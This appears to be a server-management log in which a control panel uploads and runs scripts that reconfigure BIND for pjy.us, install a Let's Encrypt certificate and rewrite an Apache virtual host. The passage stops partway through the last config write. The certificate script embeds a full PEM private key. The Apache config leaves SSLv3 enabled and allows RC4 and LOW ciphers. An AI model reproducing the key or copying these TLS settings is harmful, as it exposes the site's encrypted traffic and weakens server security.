MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:23:47: 

PUT: /tmp/pkp101299

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-07-12 19:23:47: 

chmod 755 /tmp/pkp101299; /tmp/pkp101299; rm /tmp/pkp101299

2026-07-12 19:23:50: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-07-12 19:23:50: 

PUT: /tmp/pkp764046

#!/bin/bash
rndc reload pjy.us 2>&1


2026-07-12 19:23:51: 

chmod 755 /tmp/pkp764046; /tmp/pkp764046; rm /tmp/pkp764046

2026-07-12 19:23:51: 


zone reload up-to-date


2026-07-12 19:24:14: Establishing a connection
2026-07-12 19:24:14: 

PUT: /tmp/pkp813487

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt

cat > $temp_file <<'endmsg'
d4:51:8a:b8:c6:24:4c:f7:f7:d3:80:47:41:76:07:81

-----BEGIN CERTIFICATE-----
MIIE8DCCA9igAwIBAgISBUbt+sco/gvCpPdzrog4aKrfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgyNTQ0WhcNMjYxMDEwMTgyNTQzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClN8FafKgi
7L8W3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTy
E4R5Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+
aba20JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3t
hWpKcK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7
LjG7zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmN
lpcDJvr5FssJAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUTimE9MKA7nzZlpSC
M7nCLUjpVmcwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvOTYuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGfV8mMQgAABAMARjBEAiBavY0/CYjcElMAnkc5F5a6LEW+
1QxYAelfuJjvCHEHrQIgQt782nPAE5o93gBn27TgsuNJ/pI7zkVziWst0duBBgIA
fwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ9XyYxPAAgAAAUA
E8IV5wQDAEgwRgIhANoe1e7v4GVpJjz6gkxEc4z7prQdil2KdU/A563FsRvNAiEA
p57V1t8Mj4YZtKTMbW99ggBECzKSc2wwPiCWw8C9C6AwDQYJKoZIhvcNAQELBQAD
ggEBALC1rUXM/QYThDWMLus3GRdWniE98Y7qJG7oFFujdlBupn2l2HuRFG1YXBKw
ENku1YHR+L4mvs29Sx6Q290WXrCYMQ/4o1ZgzX1MnH5q9QE3GjR1UpzMcQ5RRjyz
LUPRMF2eMRkwISK7VOSnjwHLYs5H+YkB1rumm/W4+gqgIaurFJvPy3zOB/A7aT+f
bDcoV9v4EWE3B9VXlFYJYuPBILPxY4QwSDMupcTcop41/1FaWeud+ThYfJvYitj/
5yP7GAAB7+rUtT9Q0NpNZB2m8JVcu0e+xMp6Z+NIxkVxZI8UTDrCxErT/bt5zPWT
FU9rAeW3fxzLLMRU2ogcQn6ysME=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClN8FafKgi7L8W
3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTyE4R5
Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+aba2
0JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3thWpK
cK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7LjG7
zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmNlpcD
Jvr5FssJAgMBAAECggEAM1cBCWpFIR0qQCNdvMmVXv4r1TSbNdhcgHU5kR1260rQ
wZlN3g/m6Rkf8odzH+fvoR2bfLUhuBuihbIm1zVi/r8u2WkOs4SxHviavfNUnaX3
VaN1w1S8KliyWW5wUrPCZu1mCG1JSBj3gxWKWLlwSa1FCs6pvxP8ix6Ns7Y5mlt3
cgrbPrcIOmX+CB3C7/LDPBZprJb5UtpT2s+1NBPdCwWx7OEXphhnDh3Em/43dVXz
2lQEa5RKqleRntsMU1p1IUKzO8PQEg6jP80IfidgOg9iMu9bTNE2lrrhFmcJMUGL
vvpQuZnmicTMamuIFENu7qMgzRo6U0BPqoh1WmCMdQKBgQDhkOJw8USu2NeAwfPm
AKU5we/ZeqGWUzeG35Qd7KPnN6oKV1mwZShQbp7kBR3OYAjFfaDqIYGSW4cvUkjE
/JJ+CfPPWjpWpmMP4QKjKbgr3wvlbAz7HTp9svcFbus3R+Bt4QJk8n+fH8HYtx36
RQvm+H/b5ZXIuDYDL/S853IhmwKBgQC7gm1frqWHgQB5yVpOz8fNnz/DINluzgLv
AXmsXBFOIHzFO1NDvwxWZNBDfi6E+0NjSdeE1dnVive9pmvcPd8i+NSKjCCmsO+4
q8mi1wEQlnWVhLSstq255XwIIYvFPoTe0ySScj4DghmIEbe6RK5l0WKHqwXAjgsy
9T+YBq7SKwKBgFFm+wEtYM8EvEjgNcfEZdxBK/C9O8FHSNuopghilQflY70Vpu1s
pC7arQa2/fmzWJcE7mRwMRWDaHbgaBiG2csYhl9HPZR1uXxKhKwjay6R8PYbl1es
RaaFRnY0gDhT/R9KO5X4mavwRwGRnATslA4HkgTmhraIHB3sWZMup1aPAoGATBml
Fh4lZBdBACxuEGpXpuYo1KKyXDwUCLhKj19WTqT0vn9TTb1t3mpP8/R0INhxAwzn
ASxhmj8qSLgQMnSR6PmgGRLB9aT9xa9CyGoGLptB4YrYYPhLDZVLf2lN9qFm/6Al
yaG/9WCJyCWYsWpKdVxDZthMH1gGx4mtY5/it70CgYEAwqFv6T8bHK5M1/IhlPvI
4qI+8UJUKDah/MdKpxyKOprJFRO/Qkpt6u8yO3u5AWMZQ2c/Qj4bgp4JQPz5rrC+
WVRspsvXXP0a1GoQNCiam0l6pMb03P5Xk9UL3UBa/KtdUe5++JZ6382zDK343hMW
fwuQXiU2uO1rmyfKYa869Ng=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-12 19:24:15: 

chmod 755 /tmp/pkp813487; /tmp/pkp813487; rm /tmp/pkp813487

2026-07-12 19:24:15: 


dir=/etc/ssl/certs


2026-07-12 19:24:15: 

PUT: /tmp/pkp349290

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-12 19:24:15: 

chmod 755 /tmp/pkp349290; /tmp/pkp349290; rm /tmp/pkp349290

2026-07-12 19:24:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-12 19:24:15: 

PUT: /tmp/pkp837494

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pjy.us
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.pjy.us
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	pjy.us
    ServerAlias	www.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
